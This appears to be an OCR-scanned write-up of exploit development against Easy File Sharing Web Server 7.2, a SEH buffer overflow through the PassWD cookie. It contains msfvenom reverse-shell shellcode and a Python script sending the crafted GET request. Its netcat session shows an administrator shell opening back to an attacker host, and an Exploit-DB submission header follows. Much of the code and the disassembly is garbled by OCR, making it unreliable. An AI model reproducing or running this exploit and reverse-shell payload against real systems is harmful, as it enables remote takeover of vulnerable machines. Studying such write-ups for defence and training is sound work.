buf += "\xf6\xa7\x59\xdf\x06\xee\x9d\x8b\x56\x98\x34\xb4\x3c"
buf += "\x58\xb8\x61\x92\x08\x16\xda\x53\xf8\xd6\x8a\x3b\x12"
buf += "\xd9\xf5\x5c\x1d\x33\x9e\xf7\xe4\xd4\x6 1\xaf\x5a\xal"
buf += "\x0a\xb2\xa2\xa3\xe3\x3b\x44\xd9\xe3\x6d\xdf\x76\x9d"
buf += "\x37\xah\xe7\x62\xe2\xd6\x28\xe8\x01\x27\xe6\x19\x6f"
buf += "\x3b\x9f\xe9\x3a\x61\x36\xf5\x90\x0d\xd4\x64\x7f\xcd"
buf += "\x93\x94\x28\x9a\xf4\x6b\x2 1\x4e\xe9\xd2\x9b\x6c\xf0"
buf += "\x83\xe4\x34\x2f\x70\xea\xb5\xa2\xcc\xc8\xa5\x7a\xcc"
buf += "\x54\x91\xd 2\x9b\x02 \x4f\x95\x75\xe5\x39\x4f\x29\xaf"
buf += "\xad\x16\x01\x70\xab\x16\x4c\x06\x53\xa6\x39\x5f\x6c"
buf += "\x07\xae\x57\x15\x75\x4e\x97\xcc\x3d\x7e\xd2\x4c\x17"
buf += "\x17\xbb\x05\x25\x7a\x3c\xf0\x6a\x83 \xbf\xfO\x12\x70"
buf += "\xdf\x71\x16\x3c\x67\x6a\x6a\x2d\x02\x8c\xd9\x4e\x07"




Exploit with shellcode

#!/usr/bin/python
import socket.Qs.Lime, sys
shellcode = huf
host="192.168.188.132"
port =80
crash="/.:/"
crash += "A"*53
# msfvenom -p windows/shell _reverse.tcp LHOST=192.168.188.133 LPORT=2 crash += "\xeh\x10\x30\x90"
# Payload size: 351 bytes crash += "\x05\x86\x01\x10"
# Final size of py file: 1684 bytes crash += "C™*10
buf= "" crash += shellcode
buf += "\xbf\x1f\xcd\xa3\x04\xdb\xd3\xd9\x74\x24 \xf4\x5b\x29" crash += "E"*2550
buf += "\xc9\xb1\x52\x3 1\x7b\x12\x03\x7b\x12\x83\xdg\xc9\x41"
huf += "\xf1\x1e\x39\x07\xfa\xde\xha\x68\x72\x3b\x8b\xa8\xe0"
buf += "\x48\xbc\x18\x62\x1c\x3 1\xd 2\x26\xb4\xc2\x96 \xee\xhh" request = "GET /vfolder.ghp HTTP/1.1\r\n"
buf += "\x63\x1c\xc9\xf2\x74\x0d\x29\x95 \xf6 \x4c\x7 e\x75\xc6" request += "Host: " + host + "\r\n"
buf += "\x9e\x73\x74\x0f\xc2\x7e\x24\xd8\x88\x2 d\xd8\x6d\xc4" request += "User-Agent: Mozilla/5.0 (X11; Linuxx86_64;rv:31.0) Gecko/20100101 Firefox/31.0
buf += "\xed\x53\x3d\xc8\x75\x80\xf6\xeh\x54\x1 7\x8c\xb5\x76" leeweasel/31.8.0" +"\r\n"
buf += "\x96\x41\xce\x3e\x80\x86\xeh\x89\x3b\x7c\x87\x0b\xed" request += "Accept: text/htmlapplication/xhtoktxml.application/xmla=0.9,*/*;q=0.8" +"\r\n"
buf += "\x4c\x68\xa7\xd0\x60\x9b\xb9\x15\x46\x44\xcc\x6f\xb4" request += "Accept-Language: en:US.en;g=0.5"+"\r\n"
Buf += "\xfO\xd7\xba\xc6\X25 W5 d W2 e\x6 0 \xag\xc5\x8a\x90\x62" request += "Accept-Encoding: gzip, deflate" + "\r\n"
buf += "\x93\x59\x9e\xcf\xd 7\x05\x83\xce\x34 \x3e\xh\x5 b \xbb" request += " : " +"http://"+ host+"/"+ "\r\n"
huf += "\x90\x49\x1f\x98\x34\x11\xfh\x81\x6d \xff\xaa\xbe\x6d" request += "Cookie: SESSIONID=16246; |serlR=Pass\WR="+crash + "; frmUserName=; froUserPass=;"
huf += "\xa0\x13\x1b\xe6\x4d\x47\x16\xa5\x19\xa4\x1b\x55\xda" request += " rememberPass=202.197.208.215.201"
buf += "\xa2\x2c\x26\xe8\x6d\x87\xa0\x40\xe5\x01 \x37\xa6 \xdc" request += "\r\n"
buf += "\xf6\xa7\x59\xdf\x06\xee\x9d\x8b\x56\x98\x34\xb4\x3c" request += "Connection: keep-alive" + "\r\n"
huf += "\x58\xb8\x61\x92\x08\x16\xda\x53\xf8\xd6\x8a\x3b\x12" request += "If-Modified-Since: Mon, 19Jun 2017 17:36:03 GMT" + "\r\n"
buf+="\xd9\xf5\x5c\x1d\x33\W9e\xf7\xe4\xd4\x6 1\xaf\x5a\xal"
huf += "\x0a\xb2\xa2\xa3\xe3\x3b\x44\xd9\xe3\x6d\xdf\x76\x9d" print "[*] Connectingto Target " + host+ "...standby..."
huf += "\x37\xah\xe7\x62\xe2\xd6\x28\xe8\x01\x27\xe6 \x19\x6 "
buf += "\x3b\x9f\xe9\x3a\x6 1\x36\xf5\x90\x0d \xd4\x6 4\x7 f\xcd" s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
huf += "\x93\x94\x28\x9a\xf4\x6b\x2 1\x4e\xe9\xd2\x9b\x6c\xf0"
huf += "\x83\xe4\x34\x2f\x70\xea\xb5\xa2\xcc\xc8\xa5\x7a\xcc"
buf += "\x54\x91\xd2\x9b\x02 \x4f\x95\x75 \xe5\x39\x4f\x2 9\ xaf" try:
buf += "\xad\x16\x01\x70\xab\x16\x4c\x06\x53\xa6\x39\x5f\x6¢c" connect=s.connect((host, port))
huf += "\x07\xae\x57\x15\x75\x4e\x97\xcc\x3d\x7 e\xd2\x4c\x17" print "[*] Successfully connected to " + host+ "!!1"
buf += "\x17\xbh\x05\x25\x7a\x3 c\xfO\x6a\x83 \xbf \xf0\x12\x70" except:
buf += "\xdf\x71\x16\x3c\x6 7\x6a\x6a\x2d\x02\x8c\xd9\x4e\x0 7" print "[!]" + host+ " didn't respond\n"

sys.exit(0)




Analyzed shellcode in memory
for corruption and operation

BE 1FCDA384 MoV EDI, 4A3SCD1F

DEDS FCMOUNBE ST,ST(3)
D97424 F4 FSTENV (22-EYTE) PTR SS:[ESP-C]
B1856E8D SB POF EBX

B1856ESE SUE ECK,ECK
B1856E98 MOu

CL,52
B1856E92 #A0FR DWORD PTR DS:[EBX+12]1,EDI
B1856E95 ADD EDI,DWORD PTR DS:[EBX+12]
B1856E98 SBE ESP,-3

B1856E%E 4 INC ECX
B1856E9C INT1
81856E90 1E PUSH DS

B1856E9E CHMF DWORD PTR DS:[EDII,ERX
B1856ERB  FA CLI

81256ER1  DEER &38728891  FIDIVR WORD FTR DS:[EDX+916867268]
G1856ERY 8868 3B ADD BYTE PTR DS:[ERX+3B1,AH
B1856ERA 8961 OR DWORD PTR DS:[ECK],ERX

B1856EAC  ES 480901F4 CALL F58677F1

81856EEB1  C2 1181 RETH 111

B125cEB4  BBO0G ADD BYTE PTR DS:[ERX], AL
G1856EEBE G860 ADD BYTE PTR DS:[ERAX], AL

B1856EEB2 A2 44 TEST AL,44




lested explolt

W RN ke = N RN = - w

root@kall.~/exp101tpractlce/easyfs# nc -nlvp 2345
llstenlng ons[any] 2345 ...

root@kali:~/exploitpractice/easyfs# ./guestgeta.py
[*] Connecting to Target 192.168.188.132...standby...
~ [*] Successfully connected to 192.168.188.132!!!
| [*] Sending improperly formed request...
[!'] Request has been sent!

root@kali:~/exploitpractice/easyfs# nc -nlvp 2345
listening on [any] 2345 ...
connect to [192.168.188.133] from (UNKNOWN) [192.168.188.132] 1216
- Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator>}]

HELL” YEAH'



Made exploit submission-
ready

exploit.py

#!/usr/bin/python

# Exploit Title: Easy File Sharing Web Server 7.2 - GET HTTP Request (PassWD) Buffer Overflow (SEH)
# Date: 19June 2017

# Exploit Author: glubjk

# Author Contact: jk@jkcybersecurity.com

# Vendor Homepage: htt

# Software Link: https: . -db.

# Version: Easy File Sharing Web Server 7.2

# Tested on: WinXP SP3

# Usage: ./exploit.py

# [*] Connecting to Target 192.168.188.132...standby...
# [*] Successfully connected to 192.168.188.132...

# [*] Sending improperly formed request...

# [!] Request has been sent!

import socket,0s.5ime, sys

host="192.168.188.132"
port =80

#msfvenom -p windows/shell. reverse.tcp LHOST=192.168.188.133 LPORT=2345-f py-b "\x00"

buf=""
buf += "\xdb\xd2\xd9\x74\x24\xf4\x5f\xha\xb7\xe7\x7d\x1e\x29"
" 0\ vh Q of\ vi 4 Qf
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Someone

better

Me

Aaaaand It made the board...

EXPLOIT »
DATABASE

Home Exploits

Easy File Sharing Web Server 7.2

Date ~

2017-07-08

2017-06-28

2017-06-28

2017-06-27

2017-06-15

2017-06-12

2017-06-11

2016-07-29

2015-12-16

2015-12-16

2015-11-30

2015-10-23

D A V Title

¢ O 0O 0O OgORO G

<

Easy File Sharing Web Server 7.2 -
Easy File Sharing Web Server 7.2 -
Easy File Sharing Web Server 7.2 -
Easy File Sharing Web Server 7.2 -
Easy File Sharing Web Server 7.2 -
Easy File Sharing Web Server 7.2 -
Easy File Sharing Web Server 7.2 -
Easy File Sharing Web Server 7.2 -
Easy File Sharing Web Server 7.2 -
Easy File Sharing Web Server 7.2 -
Easy File Sharing Web Server 7.2 -

Easy File Sharing Web Server 7.2 -

Shellcode Papers

I'm not a robot

12 total entries

GET Request 'PassWD' Buffer Overflow (DEP Bypass)
Unrestricted File Upload

Account Import Local Buffer Overflow (SEH)

GET Request 'PassWD' Buffer Overflow (SEH)

'POST' Buffer Overflow (DEP Bypass)

'POST' Buffer Overflow

Authentication Bypass

(SEH) Overflow (Egghunter)

HEAD Request Buffer Overflow (SEH)

GET Request Buffer Overflow (SEH)

Remote Buffer Overflow (SEH) (DEP Bypass with ROP)

Remote Overflow (SEH)

Google Hacking Database

Submit

Search

~ EEZES

Platform

Windows

Windows

Windows

Windows

Windows

Windows

Windows

Windows

Windows

Windows

Windows

But, there's always someone better...

Sungchul Park

bldck h4ck3r
Touhid M.Sh...
Touhid M.Sh...
ch3rnObyl
ArminCyber
ArminCyber
Knaps

AuditOr




summary

- Examined the HTTP packets in Wireshark

- Created a fuzzing template in Spike w 9 variables

- Fuzzed and found a previously undisclosed vulnerable
arameter

- Replicated the crash in python

- Determined the offset







